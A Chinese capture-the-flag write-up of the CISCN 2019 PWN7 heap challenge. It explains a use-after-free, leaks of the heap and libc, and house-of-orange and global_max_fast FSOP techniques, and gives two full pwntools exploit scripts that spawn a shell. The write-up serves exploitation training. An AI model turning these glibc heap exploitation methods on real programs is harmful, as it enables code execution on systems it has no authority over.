[CISCN2019 华中] PWN7 (WriteUp)

前言

学完基本的Heap漏洞以及IO_FILE攻击已经有挺长一段时间了,不过由于英语四级考试和高数阶段考等一堆琐事(主要还是因为我真的太摆烂了),我并没有做很多题目,对于一些利用手段的掌握可能也不是很好,于是最近抽空做了几道CISCN,也就是国赛的堆题来练练手,增加熟练度,总的来说,国赛题目的质量的确很高!
在这两天我做的题当中,就属CISCN 2019华中地区的PWN7这题让我印象最深刻,出的实在是很不错,在BUUCTFNSSCTF等在线靶场上都有复现环境,我也在BUU上拿了个二血,在NSS上拿了一血。
附件下载地址

题目分析

  1. 检查保护
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

可以看到只有canary保护没开,而这是一道堆题,和canary的关系不大,因此也相当于保护全开了。

  1. 漏洞分析
    首先,可以在sub_D86()中很明显地看到一处UAF漏洞:
if ( *((_QWORD *)&unk_202040 + v0) )
{
	printf("Ok, I'll kill %s for you, monsieur.\n", **((const char ***)&unk_202040 + v0));
	free(*((void **)&unk_202040 + v0));
}

同时,我们发现这里的printf是整个程序唯一可控的输出:可以通过控制unk_202040[v0]的值来做到信息泄露。
其实,本题还有一些其他的漏洞,比如可通过传入负数把所拥有的钱变得很多,然后能够做到在结束程序前,对任意地址进行清零,不过在实际过程中并没有太大的用处。

  1. 限制分析
    本题的限制还是比较多且比较严格的:
    (1)我们UAF的堆块只能是0x20大小
    (2)最多只能rescruit十个servent
    (3)所用的是calloc(),故分配到的堆块会初始化清零(意味着没有信息残留),且不会从tcache中取堆块
    (4)我们所拥有的钱最多只有1000,不过由于最多只能申请十个(一个100),也够用了

  2. libc版本
    本题原题的libc版本为2.27,而我在写本篇博客的时候,增加了一个在libc-2.26下的解法。

信息泄露

在漏洞分析中已经提到,只能通过sub_D86()中的printf来泄露信息,因此我们需要控制unk_202040[v0]的值。
unk_202040[v0]中存的是程序自身申请的0x20大小的堆块的地址(fd域),而我们输出的是这个0x20的堆块的fd域中所存地址(我们自定义大小申请的堆块的fd域)中所存的值。
首先是泄露堆块基地址:这个其实很容易做到,只需要对tcache bin进行double free即可做到,因为tcache中堆块指向的就是fd域。
然后就是泄露libc的基地址了。
对于本题来说,最可能的泄露libc方式就是通过unsorted bin中堆块的fd指向main_arena+88/96来进行泄露了(其实也可以通过改为got表来泄露,不过还是牵扯到改size来造出“堆叠”的效果),而问题在于如何将堆块放入unsorted bin,我们可控制进行free的堆块只有程序自身申请的0x20大小的堆块,而这个大小远远不足以进入unsorted bin,因此我们容易想到通过修改这些0x20堆块的size以做到free后进入unsorted bin进行泄露。
接下来的问题就在于如何修改这些堆块的size
我们最先想到的就是通过Chunk Extend and Overlapping来实现,而本题当中没有类似于off by one等一些漏洞可做到堆叠,但是却有一个UAF漏洞,故我们可以想到对fastbin进行double free,然后通过fastbin attack,再加上之前已经泄露了堆块基地址,因此可以得到任意堆块地址的写入权限,就可以修改堆块的size,进而达到类似于“堆叠”的效果,可通过这个被修改过size的堆块,再修改其他堆块中的数据。
宏观上的思路大体如上,但是在实际写脚本的过程中还会遇到很多需要注意的细节问题,需要对堆块进行合理且精准的布局,具体见以下的代码。
其实,在泄露完信息以后,光靠堆的利用手段肯定不足以getshell,再加上我们之前做到了类似于“堆叠”的效果,因此很容易想到需要利用IO_FILE来做最后的攻击。

libc-2.26下的解法(house of orange)

剩下的部分只需要知道house of orange就很容易做了,所以就简单地介绍下house of orange吧。
house of orange就是利用unsorted bin attack 配合 IO_FILE attack (FSOP)进行攻击的一种利用方式。
通过unsorted bin attack_IO_list_all内容从_IO_2_1_stderr_改为main_arena+88(实则指向top chunk)。
而在_IO_FILE_plus结构体中,_chain的偏移为0x68,而top chunk之后为0x8单位的last_remainder,接下来为unsorted binfdbk指针,共0x10大小,再之后为small bin中的指针(每个small binfdbk指针,共0x10个单位),剩下0x50的单位,从smallbin[0]正好分配到smallbin[4](准确说为其fd字段),大小就是从0x200x60,而smallbin[4]fd字段中的内容为该链表中最靠近表头的small bin的地址 (chunk header),因此0x60small bin的地址即为fake struct_chain中的内容,只需要控制该0x60small bin(以及其下面某些堆块)中的部分内容,即可进行FSOP
如何控制0x60small bin呢?
small bin肯定是从unsorted bin中转移过去的,因此可以通过“堆叠”修改unsorted bin中某堆块的size0x60,然后申请一个任意大小的堆块(但不能是0x60,也不能在fastbin中),使得unsorted bin中的堆块进入相应的small binlarge bin,最终,由于我们申请的堆块不是0x60,因此会访问到该unsorted binbk所指向的地址,而此地址中存放的并不是一个合法的堆块,所以会触发malloc_printeer->__libc_message->abort->_IO_flush_all_lockp->_IO_OVERFLOW这条链,就可以进行FSOP攻击了。
此外,由于栈环境的问题,可能需要多打几次才能成功地getshell

from pwn import *

context(os = "linux", arch = "amd64", log_level = "debug")
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.26.so")

def add(size, name):
    io.sendlineafter("choice:\n", b'1')
    io.sendlineafter("rescruit?\n", b'1')
    io.sendlineafter("servent:\n", str(size))
    io.sendafter("servent:\n", name)

def delete(index):
    io.sendlineafter("choice:\n", b'2')
    io.sendlineafter("number:\n", str(index))

def exit():
    io.sendlineafter("choice:\n", b'4')

def get_IO_str_jumps():
	IO_file_jumps_addr = libc.sym['_IO_file_jumps']
	IO_str_underflow_addr = libc.sym['_IO_str_underflow']
	for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
		possible_IO_str_jumps_addr = ref - 0x20
		if possible_IO_str_jumps_addr > IO_file_jumps_addr:
			return possible_IO_str_jumps_addr

if __name__ == '__main__':
	io.sendlineafter("How much money do you want?\n", b'1000')
	
	add(0x10, p64(0) + p64(0x21))
	add(0x10, b'\n')
	add(0x10, b'\n')
	add(0x400, flat({0xa0:[0, 0x21, 0, 0]*2, 0x3b0:[0, 0x21, 0, 0]*2}, filler="\x00"))
	
	delete(1)
	delete(1)
	delete(1)
	io.recvuntil("kill ")
	heap_base_addr = u64(io.recv(6).ljust(8, b"\x00")) - 0x2a0
	success("heap_base_addr:\t" + hex(heap_base_addr))
	
	for i in range(4):
		delete(1)
	delete(1)
	delete(0)
	delete(1)
	delete(0)
	add(0x18, p64(0) + p64(0x21) + p64(heap_base_addr + 0x280))
	add(0x20, b'\n')
	add(0x10, p64(0) + p64(0x151))
	
	for i in range(7):
		delete(1)
	delete(1)
	delete(0)
	add(0x140, flat({0x30:[0, 0x421], 0x70:[0, 0x21, heap_base_addr + 0x2a0, 0, 0, 0x21]}, filler="\x00"))
	delete(1)
	delete(2)
	delete(3)
	io.recvuntil("kill ")
	libc.address = u64(io.recv(6).ljust(8, b"\x00")) - 88 - 0x10 - libc.sym['__malloc_hook']
	success("libc_base_addr:\t" + hex(libc.address))
	
	delete(0)
	payload = flat({
		0x30: [0, 0x61, 0, libc.sym['_IO_list_all'] - 0x10],
		0x30 + 0x28: 1,
		0x30 + 0x38: next(libc.search(b'/bin/sh')),
		0x30 + 0xd8: get_IO_str_jumps() - 8,
		0x30 + 0xe8: libc.sym['system']
	}, filler="\x00")
	add(0x140, payload)
	
	delete(0)
	io.sendlineafter("choice:\n", b'1')
	io.sendlineafter("rescruit?\n", b'1')
	io.sendlineafter("servent:\n", str(0x20))
	io.interactive()

libc-2.27下的解法(改global_max_fast,覆盖_IO_list_all)

libc-2.27下,上述利用house of orange的方式就失效了,因为libc-2.27去掉了报错进入IO流的部分,不过通过exit()还是可以进入IO流的,因此可以想到通过unsorted bin attackglobal_max_fast为很大的数,并释放fake fastbin以覆盖_IO_list_all,再通过exit()进入IO流,触发FSOP即可。
fastbin_ptrlibc-2.23指向main_arena+8的地址,在libc-2.27及以上指向main_arena+0x10的地址,从此地址开始,存放了各大小的fast binfd指针,指向各单链表中首个堆块的地址。由此,我们可通过目标地址与fast bin数组的偏移计算出所需free的堆块的size,计算方式如下:

fastbin_ptr = libc_base + libc.symbols['main_arena'] + 8(0x10)
index = (target_addr - fastbin_ptr) / 8
size = index * 0x10 + 0x20

此外,在打远程的时候,由于一般socket限制大概是0x5B4个字节,如果发送多了,数据也不能完全发送出去。因此,需要简单地操作一番,对数据进行分块发送。

from pwn import *

context(os = "linux", arch = "amd64", log_level = "debug")
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.27.so")

def add(size, name):
    io.sendlineafter("choice:\n", b'1')
    io.sendlineafter("rescruit?\n", b'1')
    io.sendlineafter("servent:\n", str(size))
    io.sendafter("servent:\n", name)

def delete(index):
    io.sendlineafter("choice:\n", b'2')
    io.sendlineafter("number:\n", str(index))

def exit():
    io.sendlineafter("choice:\n", b'4')

def get_IO_str_jumps():
	IO_file_jumps_addr = libc.sym['_IO_file_jumps']
	IO_str_underflow_addr = libc.sym['_IO_str_underflow']
	for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
		possible_IO_str_jumps_addr = ref - 0x20
		if possible_IO_str_jumps_addr > IO_file_jumps_addr:
			return possible_IO_str_jumps_addr

if __name__ == '__main__':
	io.sendlineafter("How much money do you want?\n", b'1000')
	
	add(0x10, p64(0) + p64(0x21))
	add(0x10, b'\n')
	add(0x10, p64(0) + p64(0x21))
	add(0x1400, flat({0x3b0:[0, 0x21, 0, 0]*2}, filler="\x00"))
	
	delete(1)
	delete(1)
	delete(1)
	io.recvuntil("kill ")
	heap_base_addr = u64(io.recv(6).ljust(8, b"\x00")) - 0x2a0
	success("heap_base_addr:\t" + hex(heap_base_addr))
	
	for i in range(4):
		delete(1)
	delete(1)
	delete(0)
	delete(1)
	delete(0)
	add(0x18, p64(0) + p64(0x21) + p64(heap_base_addr + 0x280))
	add(0x20, p64(0) + p64(0x21))
	add(0x10, p64(0) + p64(0x71))
	
	for i in range(7):
		delete(1)
	delete(1)
	add(0x60, flat({0:heap_base_addr + 0x2e0, 0x30:[0, 0x421]}, filler="\x00"))
	delete(2)
	
	delete(1)
	io.recvuntil("kill ")
	libc.address = u64(io.recv(6).ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
	success("libc_base_addr:\t" + hex(libc.address))
	
	delete(0)
	global_max_fast_addr = libc.address + 0x3ed940
	add(0x60, flat({0x30:[0, 0x421, 0, global_max_fast_addr - 0x10]}, filler="\x00"))
	
	delete(0)
	payload = flat({
		0x30: [0, 0x1441],
		0x30 + 0x28: 1,
		0x30 + 0x38: next(libc.search(b'/bin/sh')),
		0x30 + 0xd8: get_IO_str_jumps() - 8,
		0x30 + 0xe8: libc.sym['system']
	}, filler="\x00")
	add(0x410, payload)
	delete(3)
	exit()
	io.interactive()
posted @ 2021-12-21 16:13  winmt  阅读(295)  评论(1编辑  收藏  举报